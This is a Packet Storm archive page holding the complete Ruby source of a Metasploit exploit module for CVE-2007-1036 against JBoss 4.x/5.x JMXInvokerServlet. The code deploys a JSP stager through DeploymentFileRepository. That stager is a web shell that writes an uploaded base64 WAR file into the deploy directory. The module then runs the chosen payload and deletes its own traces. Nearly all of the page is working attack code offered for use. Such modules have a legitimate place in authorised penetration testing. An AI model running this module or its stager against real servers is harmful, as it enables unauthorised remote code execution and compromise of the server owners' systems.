what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

JBoss DeploymentFileRepository WAR Deployment

JBoss DeploymentFileRepository WAR Deployment
Posted Sep 5, 2012
Authored by Patrick Hof, Jens Liebchen, h0ng10 | Site metasploit.com

This Metasploit module can be used to execute a payload on JBoss servers that have an exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed to finally upload the selected payload to the target. The DeploymentFileRepository methods are only available on Jboss 4.x and 5.x.

tags | exploit
advisories | CVE-2007-1036, OSVDB-33744
SHA-256 | c6b0010812e226801e4d081ec2319bf266148f85a99286b7a0ea268acccbcd45

JBoss DeploymentFileRepository WAR Deployment

Change Mirror Download
require 'msf/core'


class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /JBoss/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)',
'Description' => %q{
This module can be used to execute a payload on JBoss servers that have an
exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed
to finally upload the selected payload to the target. The DeploymentFileRepository
methods are only available on Jboss 4.x and 5.x.
},
'Author' => [
'Patrick Hof', # Vulnerability discovery, analysis and PoC
'Jens Liebchen', # Vulnerability discovery, analysis and PoC
'h0ng10' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-1036' ],
[ 'OSVDB', '33744' ],
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
],
'DisclosureDate' => 'Feb 20 2007',
'Privileged' => true,
'Platform' => ['java', 'win', 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[

# do target detection but java meter by default
[ 'Automatic',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],

[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
},
],

#
# Platform specific targets
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],

[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
],

'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
], self.class)

end

def check
res = send_serialized_request('version.bin')
if (res.nil?) or (res.code != 200)
print_error("Unable to request version, returned http code is: #{res.code.to_s}")
return Exploit::CheckCode::Unknown
end

# Check if the version is supported by this exploit
return Exploit::CheckCode::Vulnerable if res.body =~ /CVSTag=Branch_4_/
return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_4_/
return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_5_/

if res.body =~ /ServletException/ # Simple check, if we caused an exception.
print_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
mytarget = target

if (target.name =~ /Automatic/)
mytarget = auto_target
fail_with("Unable to automatically select a target") if not mytarget
print_status("Automatically selected target: \"#{mytarget.name}\"")
else
print_status("Using manually select target: \"#{mytarget.name}\"")
end


# We use a already serialized stager to deploy the final payload
regex_stager_app_base = rand_text_alpha(14)
regex_stager_jsp_name = rand_text_alpha(14)
name_parameter = rand_text_alpha(8)
content_parameter = rand_text_alpha(8)
stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
stager_code = "A" * 810 # 810 is the size of the stager in the serialized request

replace_values = {
'regex_app_base' => regex_stager_app_base,
'regex_jsp_name' => regex_stager_jsp_name,
stager_code => generate_stager(name_parameter, content_parameter)
}

print_status("Deploying stager")
send_serialized_request('installstager.bin', replace_values)
print_status("Calling stager: #{stager_uri}")
call_uri_mtimes(stager_uri, 5, 'GET')

# Generate the WAR with the payload which will be uploaded through the stager
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))

war_data = payload.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s

b64_war = Rex::Text.encode_base64(war_data)
print_status("Uploading payload through stager")
res = send_request_cgi({
'uri' => stager_uri,
'method' => "POST",
'vars_post' =>
{
name_parameter => app_base,
content_parameter => b64_war
}
}, 20)

payload_uri = "/#{app_base}/#{jsp_name}.jsp"
print_status("Calling payload: " + payload_uri)
res = call_uri_mtimes(payload_uri,5, 'GET')

# Remove the payload through stager
print_status("Removing payload through stager")
delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
res = send_request_cgi(
{'uri' => delete_payload_uri,
})

# Remove the stager
print_status("Removing stager")
send_serialized_request('removestagerfile.bin', replace_values)
send_serialized_request('removestagerdirectory.bin', replace_values)

handler
end

def generate_stager(name_param, content_param)
war_file = rand_text_alpha(4+rand(4))
file_content = rand_text_alpha(4+rand(4))
jboss_home = rand_text_alpha(4+rand(4))
decoded_content = rand_text_alpha(4+rand(4))
path = rand_text_alpha(4+rand(4))
fos = rand_text_alpha(4+rand(4))
name = rand_text_alpha(4+rand(4))
file = rand_text_alpha(4+rand(4))

stager_script = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{file_content} = "";
String #{war_file} = "";
String #{jboss_home} = System.getProperty("jboss.server.home.dir");
if (request.getParameter("#{content_param}") != null){
try {
#{file_content} = request.getParameter("#{content_param}");
#{war_file} = request.getParameter("#{name_param}");
byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content});
String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war";
FileOutputStream #{fos} = new FileOutputStream(#{path});
#{fos}.write(#{decoded_content});
#{fos}.close();
}
catch(Exception e) {}
}
else {
try{
String #{name} = request.getParameter("#{name_param}");
String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war";
new File(#{file}).delete();
}
catch(Exception e) {}
}

%>
EOT

# The script must be exactly 810 characters long, otherwise we might have serialization issues
# Therefore we fill the rest wit spaces
spaces = " " * (810 - stager_script.length)
stager_script << spaces
end


def send_serialized_request(file_name , replace_params = {})
path = File.join( Msf::Config.install_root, "data", "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name)
data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) }

replace_params.each { |key, value| data.gsub!(key, value) }

res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'POST',
'data' => data,
'headers' =>
{
'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation',
'Accept' => 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'
}
}, 25)


if (not res) or (res.code != 200)
print_error("Failed: Error requesting preserialized request #{file_name}")
return nil
end

res
end


def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
num_attempts.times do |attempt|
if (verb == "POST")
res = send_request_cgi(
{
'uri' => uri,
'method' => verb,
'data' => data
}, 5)
else
uri += "?#{data}" unless data.nil?
res = send_request_cgi(
{
'uri' => uri,
'method' => verb
}, 30)
end

msg = nil
if (!res)
msg = "Execution failed on #{uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
msg = "http request failed to #{uri} [#{res.code}]"
elsif (res.code == 200)
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
return res
end

if (attempt < num_attempts - 1)
msg << ", retrying in 5 seconds..."
print_status(msg) if datastore['VERBOSE']
select(nil, nil, nil, 5)
else
print_error(msg)
return res
end
end
end


def auto_target
print_status("Attempting to automatically select a target")

plat = detect_platform()
arch = detect_architecture()

return nil if (not arch or not plat)

# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }

# no matching target found
return nil
end


# Try to autodetect the target platform
def detect_platform
print_status("Attempting to automatically detect the platform")
res = send_serialized_request("osname.bin")

if (res.body =~ /(Linux|FreeBSD|Windows)/i)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end


# Try to autodetect the architecture
def detect_architecture()
print_status("Attempting to automatically detect the architecture")
res = send_serialized_request("osarch.bin")
if (res.body =~ /(i386|x86)/i)
arch = $1
if (arch =~ /i386|x86/i)
return ARCH_X86
# TODO, more
end
end
nil
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close